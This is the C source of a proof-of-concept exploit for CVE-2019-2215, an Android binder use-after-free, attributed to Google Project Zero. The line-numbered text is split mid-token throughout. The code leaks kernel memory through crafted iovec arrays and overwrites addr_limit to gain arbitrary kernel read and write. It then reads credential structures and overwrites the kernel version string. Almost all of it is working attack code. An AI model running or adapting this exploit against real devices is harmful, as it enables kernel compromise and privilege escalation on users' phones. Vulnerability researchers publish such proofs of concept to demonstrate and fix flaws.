3 * POC to gain arbitrary kernel R/W access using CVE-2019-2215
4 * https://bugs.chromium.org/p/project-zero/issues/detail?id=1942
6 * Jann Horn & Maddie Stone of Google Project Zero
21 #include <sys/epoll.h>
22 #include <sys/ioctl.h>
26 #include <linux/sched.h>
28 #include <sys/prctl.h>
29 #include <sys/socket.h>
33 #define LEAK_AMOUNT 4096
35 #define OFFSET__task_struct__mm 0x520
36 #define MIN(x,y) ((x)<(y) ? (x) : (y))
37 #define MAX(x,y) ((x)>(y) ? (x) : (y))
39 #define BINDER_SET_MAX_THREADS 0x40046205ul
40 #define BINDER_THREAD_EXIT 0x40046208ul
41 // NOTE: we don't cover the task_struct* here; we want to leave it uninitialized
42 #define BINDER_THREAD_SZ 0x188
43 #define IOVEC_ARRAY_SZ (BINDER_THREAD_SZ / 16) //25
44 #define WAITQUEUE_OFFSET (0x98)
45 #define IOVEC_INDX_FOR_WQ (WAITQUEUE_OFFSET / 16) //10
46 #define UAF_SPINLOCK 0x10001
49 unsigned long kernel_read_ulong(unsigned long kaddr
);
51 void hexdump_memory(void *_buf
, size_t byte_count
) {
52 unsigned char* buf
= _buf
;
53 unsigned long byte_offset_start
= 0;
55 errx(1, "hexdump_memory called with non-full line");
56 for (unsigned long byte_offset
= byte_offset_start
; byte_offset
< byte_offset_start
+ byte_count
;
60 linep
+= sprintf(linep
, "%08lx ", byte_offset
);
61 for (int i
=0; i
<16; i
++) {
62 linep
+= sprintf(linep
, "%02hhx ", (unsigned char)buf
[byte_offset
+ i
]);
64 linep
+= sprintf(linep
, " |");
65 for (int i
=0; i
<16; i
++) {
66 char c
= buf
[byte_offset
+ i
];
67 if (isalnum(c
) || ispunct(c
) || c
== ' ') {
73 linep
+= sprintf(linep
, "|");
80 void *dummy_page_4g_aligned
;
81 unsigned long current_ptr
;
84 void leak_data(void* leakBuffer
, int leakAmount
)
86 int dataBufferSize
= MAX(UAF_SPINLOCK
+leakAmount
, PAGE
);
87 char* dataBuffer
= malloc(dataBufferSize
); // TODO: free me!
88 if (dataBuffer
== NULL
) err(1, "allocating dataBuffer");
89 memset(dataBuffer
, 0, dataBufferSize
);
90 struct epoll_event event
= { .events
= EPOLLIN
};
93 ioctl(binder_fd
, BINDER_SET_MAX_THREADS
, &max_threads
);
94 if (epoll_ctl(epfd
, EPOLL_CTL_ADD
, binder_fd
, &event
)) err(1, "epoll_add");
96 struct iovec iovec_array
[IOVEC_ARRAY_SZ
];
98 memset(iovec_array
, 0, sizeof(iovec_array
));
100 printf("dataBuffer = %lx\n", (unsigned long)dataBuffer
);
102 iovec_array
[IOVEC_INDX_FOR_WQ
-1].iov_base
= dataBuffer
;
103 iovec_array
[IOVEC_INDX_FOR_WQ
-1].iov_len
= PAGE
;
104 iovec_array
[IOVEC_INDX_FOR_WQ
].iov_base
= dataBuffer
;
105 iovec_array
[IOVEC_INDX_FOR_WQ
].iov_len
= 0; /* spinlock: will turn to UAF_SPINLOCK */
106 iovec_array
[IOVEC_INDX_FOR_WQ
+ 1].iov_base
= dataBuffer
; /* wq->task_list->next */
107 iovec_array
[IOVEC_INDX_FOR_WQ
+ 1].iov_len
= leakAmount
; /* wq->task_list->prev */
108 iovec_array
[IOVEC_INDX_FOR_WQ
+ 2].iov_base
= dataBuffer
; // (void*)0xDEADBEEF; // we shouldn't get to here
109 iovec_array
[IOVEC_INDX_FOR_WQ
+ 2].iov_len
= UAF_SPINLOCK
;
115 if (pipe(pipefd
)) err(1, "pipe");
116 if (pipe(leakPipe
)) err(2, "pipe");
117 if (fcntl(pipefd
[0], F_SETPIPE_SZ
, PAGE
) != PAGE
) err(1, "pipe size");
119 pid_t fork_ret
= fork();
120 if (fork_ret
== -1) err(1, "fork");
123 prctl(PR_SET_PDEATHSIG
, SIGKILL
);
125 printf("CHILD: Doing EPOLL_CTL_DEL.\n");
126 epoll_ctl(epfd
, EPOLL_CTL_DEL
, binder_fd
, &event
);
127 printf("CHILD: Finished EPOLL_CTL_DEL.\n");
128 // first page: dummy data
129 printf("CHILD: initial page\n");
130 if (read(pipefd
[0], dataBuffer
, PAGE
) != PAGE
) err(1, "read first page from pipe");
131 printf("CHILD: dummy data\n");
132 if (read(pipefd
[0], dataBuffer
, UAF_SPINLOCK
) != UAF_SPINLOCK
) err(1, "read dummy data from pipe");
133 printf("CHILD: leak data\n");
134 if (read(pipefd
[0], dataBuffer
, leakAmount
) != leakAmount
) err(1, "leaking");
136 write(leakPipe
[1], dataBuffer
, leakAmount
);
137 printf("CHILD: Finished write to FIFO.\n");
140 printf("PARENT: Calling WRITEV\n");
141 ioctl(binder_fd
, BINDER_THREAD_EXIT
, NULL
);
142 b
= writev(pipefd
[1], iovec_array
, IOVEC_ARRAY_SZ
);
143 printf("writev() returns 0x%x\n", (unsigned int)b
);
144 if (b
!= PAGE
+ leakAmount
+ UAF_SPINLOCK
)
145 err(1, "writev() returned wrong value");
147 // printf("PARENT: Reading leaked data\n");
148 if (read(leakPipe
[0], leakBuffer
, leakAmount
) != leakAmount
) err(1, "reading leak");
151 if (wait(&status
) != fork_ret
) err(1, "wait");
155 printf("PARENT: Done with leaking\n");
158 unsigned long iovec_length(struct iovec
* iov
) {
160 for (int i
=0;i
<IOVEC_ARRAY_SZ
;i
++)
165 void clobber_addr_limit(void)
167 int dataBufferSize
= MAX(UAF_SPINLOCK
, PAGE
)+1;
168 char* dataBuffer
= malloc(dataBufferSize
); // TODO: free me!
169 if (dataBuffer
== NULL
) err(1, "allocating dataBuffer");
170 memset(dataBuffer
, 1, dataBufferSize
);
172 char* uafFill
= malloc(UAF_SPINLOCK
);
173 if (uafFill
== NULL
) err(1, "allocating uafFill");
174 memset(uafFill
, 0xC4, UAF_SPINLOCK
);
176 struct epoll_event event
= { .events
= EPOLLIN
};
178 ioctl(binder_fd
, BINDER_SET_MAX_THREADS
, &max_threads
);
179 if (epoll_ctl(epfd
, EPOLL_CTL_ADD
, binder_fd
, &event
)) err(1, "epoll_add");
181 unsigned long testDatum
= 12;
182 struct iovec iovec_array
[IOVEC_ARRAY_SZ
];
183 memset(iovec_array
, 0, sizeof(iovec_array
));
185 unsigned long second_write_chunk
[] = {
186 (unsigned long)dataBuffer
, /* iov_base (currently in use) */ // wq->task_list->next
187 0x50, /* iov_len (currently in use) */ // wq->task_list->prev
189 current_ptr
+0x8, // current_ptr + 0x8, /* next iov_base (addr_limit) */
190 8, /* next iov_len (sizeof(addr_limit)) */
192 current_ptr
+0x8, // current_ptr + 0x8, /* next iov_base (addr_limit) */
193 8, /* next iov_len (sizeof(addr_limit)) */
199 0xfffffffffffffffe, /* value to write over addr_limit */
202 printf("size %x\n", (int)sizeof(second_write_chunk
));
204 iovec_array
[IOVEC_INDX_FOR_WQ
-1].iov_base
= dataBuffer
;
205 iovec_array
[IOVEC_INDX_FOR_WQ
-1].iov_len
= 1;
206 iovec_array
[IOVEC_INDX_FOR_WQ
].iov_base
= dataBuffer
;
207 iovec_array
[IOVEC_INDX_FOR_WQ
].iov_len
= 0; // spinlock: will turn to UAF_SPINLOCK
208 iovec_array
[IOVEC_INDX_FOR_WQ
+1].iov_base
= dataBuffer
; // wq->task_list->next: will turn to address of task_list
209 iovec_array
[IOVEC_INDX_FOR_WQ
+1].iov_len
= sizeof(second_write_chunk
); // wq->task_list->prev: will turn to address of task_list
210 iovec_array
[IOVEC_INDX_FOR_WQ
+2].iov_base
= &testDatum
; // dataBuffer;
211 iovec_array
[IOVEC_INDX_FOR_WQ
+2].iov_len
= 8;
212 iovec_array
[IOVEC_INDX_FOR_WQ
+3].iov_base
= &testDatum
; // dataBuffer;
213 iovec_array
[IOVEC_INDX_FOR_WQ
+3].iov_len
= 8;
214 iovec_array
[IOVEC_INDX_FOR_WQ
+4].iov_base
= dataBuffer
;
215 iovec_array
[IOVEC_INDX_FOR_WQ
+4].iov_len
= UAF_SPINLOCK
;
216 int totalLength
= iovec_length(iovec_array
);
219 if (socketpair(AF_UNIX
, SOCK_STREAM
, 0, socks
)) err(1, "socketpair");
221 write(socks
[1], "x", 1);
222 pid_t fork_ret
= fork();
223 if (fork_ret
== -1) err(1, "fork");
226 prctl(PR_SET_PDEATHSIG
, SIGKILL
);
228 printf("CHILD: Doing EPOLL_CTL_DEL.\n");
229 epoll_ctl(epfd
, EPOLL_CTL_DEL
, binder_fd
, &event
);
230 printf("CHILD: Finished EPOLL_CTL_DEL.\n");
232 printf("CHILD: Writing UAF dummy\n");
233 write(socks
[1], uafFill
, UAF_SPINLOCK
);
234 write(socks
[1], second_write_chunk
, sizeof(second_write_chunk
));
235 //write(socks[1], third_write_chunk, sizeof(third_write_chunk));
239 err(1, "write dummy data");
242 printf("CHILD: Writing second chunk\n");
243 if (write(socks
[1], second_write_chunk
, sizeof(second_write_chunk
)) != sizeof(second_write_chunk
))
244 err(1, "write second chunk to socket");
247 printf("CHILD: Writing third chunk\n");
248 //if (write(socks[1], third_write_chunk, sizeof(third_write_chunk)) != sizeof(third_write_chunk))
249 // err(1, "write third chunk to socket");
251 printf("CHILD: done\n");
256 ioctl(binder_fd
, BINDER_THREAD_EXIT
, NULL
);
257 struct msghdr msg
= {
258 .msg_iov
= iovec_array
,
259 .msg_iovlen
= IOVEC_ARRAY_SZ
261 int recvmsg_result
= recvmsg(socks
[0], &msg
, MSG_WAITALL
);
262 /* struct mmsghdr mmsg;
263 mmsg.msg_hdr.msg_iov = iovec_array;
264 mmsg.msg_hdr.msg_iovlen = IOVEC_ARRAY_SZ;
265 mmsg.msg_len = totalLength;
266 struct timespec timeout;
269 int recvmsg_result = recvmmsg(socks[0], &mmsg, 1, MSG_WAITALL, &timeout); */
271 printf("PARENT: testDatum = %lx\n", testDatum
);
272 hexdump_memory(dataBuffer
, 16);
273 hexdump_memory(dataBuffer
+UAF_SPINLOCK
-16, 16);
275 printf("recvmsg() returns %d, expected %d\n", recvmsg_result
,
278 unsigned long current_mm
= kernel_read_ulong(current_ptr
+ OFFSET__task_struct__mm
);
279 printf("current->mm == 0x%lx\n", current_mm
);
282 int kernel_rw_pipe
[2];
283 void kernel_write(unsigned long kaddr
, void *buf
, unsigned long len
) {
285 if (len
> PAGE
) errx(1, "kernel writes over PAGE_SIZE are messy, tried 0x%lx", len
);
286 if (write(kernel_rw_pipe
[1], buf
, len
) != len
) err(1, "kernel_write failed to load userspace buffer");
287 if (read(kernel_rw_pipe
[0], (void*)kaddr
, len
) != len
) err(1, "kernel_write failed to overwrite kernel memory");
289 void kernel_read(unsigned long kaddr
, void *buf
, unsigned long len
) {
291 if (len
> PAGE
) errx(1, "kernel writes over PAGE_SIZE are messy, tried 0x%lx", len
);
292 if (write(kernel_rw_pipe
[1], (void*)kaddr
, len
) != len
) errx(1, "kernel_read failed to read kernel memory at 0x%lx", (unsigned long)kaddr
);
293 if (read(kernel_rw_pipe
[0], buf
, len
) != len
) err(1, "kernel_read failed to write out to userspace");
295 unsigned long kernel_read_ulong(unsigned long kaddr
) {
297 kernel_read(kaddr
, &data
, sizeof(data
));
300 void kernel_write_ulong(unsigned long kaddr
, unsigned long data
) {
301 kernel_write(kaddr
, &data
, sizeof(data
));
303 void kernel_write_uint(unsigned long kaddr
, unsigned int data
) {
304 kernel_write(kaddr
, &data
, sizeof(data
));
307 // Linux localhost 4.4.177-g83bee1dc48e8 #1 SMP PREEMPT Mon Jul 22 20:12:03 UTC 2019 aarch64
308 // data from `pahole` on my own build with the same .config
309 #define OFFSET__task_struct__mm 0x520
310 #define OFFSET__task_struct__cred 0x790
311 #define OFFSET__mm_struct__user_ns 0x300
312 #define OFFSET__uts_namespace__name__version 0xc7
313 // SYMBOL_* are relative to _head; data from /proc/kallsyms on userdebug
314 #define SYMBOL__init_user_ns 0x202f2c8
315 #define SYMBOL__init_task 0x20257d0
316 #define SYMBOL__init_uts_ns 0x20255c0
318 int main(int argc
, char** argv
) {
319 printf("Starting POC\n");
322 /* dummy_page_4g_aligned = mmap((void*)0x100000000UL, 0x2000, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
323 if (dummy_page_4g_aligned != (void*)0x100000000UL)
324 err(1, "mmap 4g aligned"); */
325 if (pipe(kernel_rw_pipe
)) err(1, "kernel_rw_pipe");
327 binder_fd
= open("/dev/binder", O_RDONLY
);
328 epfd
= epoll_create(1000);
329 int leakSize
= argc
< 2 ? 4096 : atoi(argv
[1]);
330 printf("Leak size %d\n", leakSize
);
331 unsigned char* leaked
= malloc(leakSize
);
332 if (leaked
== NULL
) err(1, "Allocating leak buffer");
333 leak_data(leaked
, leakSize
);
334 hexdump_memory(leaked
, leakSize
);
336 printf("tasklist = %lx\n", *(unsigned long *)leaked
);
338 if (leakSize
>= 0xe8 + 0x8) {
339 memcpy(¤t_ptr
, leaked
+0xe8, 8);
340 printf("current_ptr = %lx\n", (unsigned long)current_ptr
);
341 //printf("Clobbering addr_limit\n");
342 //clobber_addr_limit();
347 clobber_addr_limit();
349 setbuf(stdout
, NULL
);
350 printf("should have stable kernel R/W now\n");
352 /* in case you want to do stuff with the creds, to show that you can get them: */
353 unsigned long current_mm
= kernel_read_ulong(current_ptr
+ OFFSET__task_struct__mm
);
354 printf("current->mm == 0x%lx\n", current_mm
);
355 unsigned long current_user_ns
= kernel_read_ulong(current_mm
+ OFFSET__mm_struct__user_ns
);
356 printf("current->mm->user_ns == 0x%lx\n", current_user_ns
);
357 unsigned long kernel_base
= current_user_ns
- SYMBOL__init_user_ns
;
358 printf("kernel base is 0x%lx\n", kernel_base
);
359 if (kernel_base
& 0xfffUL
) errx(1, "bad kernel base (not 0x...000)");
360 unsigned long init_task
= kernel_base
+ SYMBOL__init_task
;
361 printf("&init_task == 0x%lx\n", init_task
);
362 unsigned long init_task_cred
= kernel_read_ulong(init_task
+ OFFSET__task_struct__cred
);
363 printf("init_task.cred == 0x%lx\n", init_task_cred
);
364 unsigned long my_cred
= kernel_read_ulong(current_ptr
+ OFFSET__task_struct__cred
);
365 printf("current->cred == 0x%lx\n", my_cred
);
367 unsigned long init_uts_ns
= kernel_base
+ SYMBOL__init_uts_ns
;
368 char new_uts_version
[] = "EXPLOITED KERNEL";
369 kernel_write(init_uts_ns
+ OFFSET__uts_namespace__name__version
, new_uts_version
, sizeof(new_uts_version
));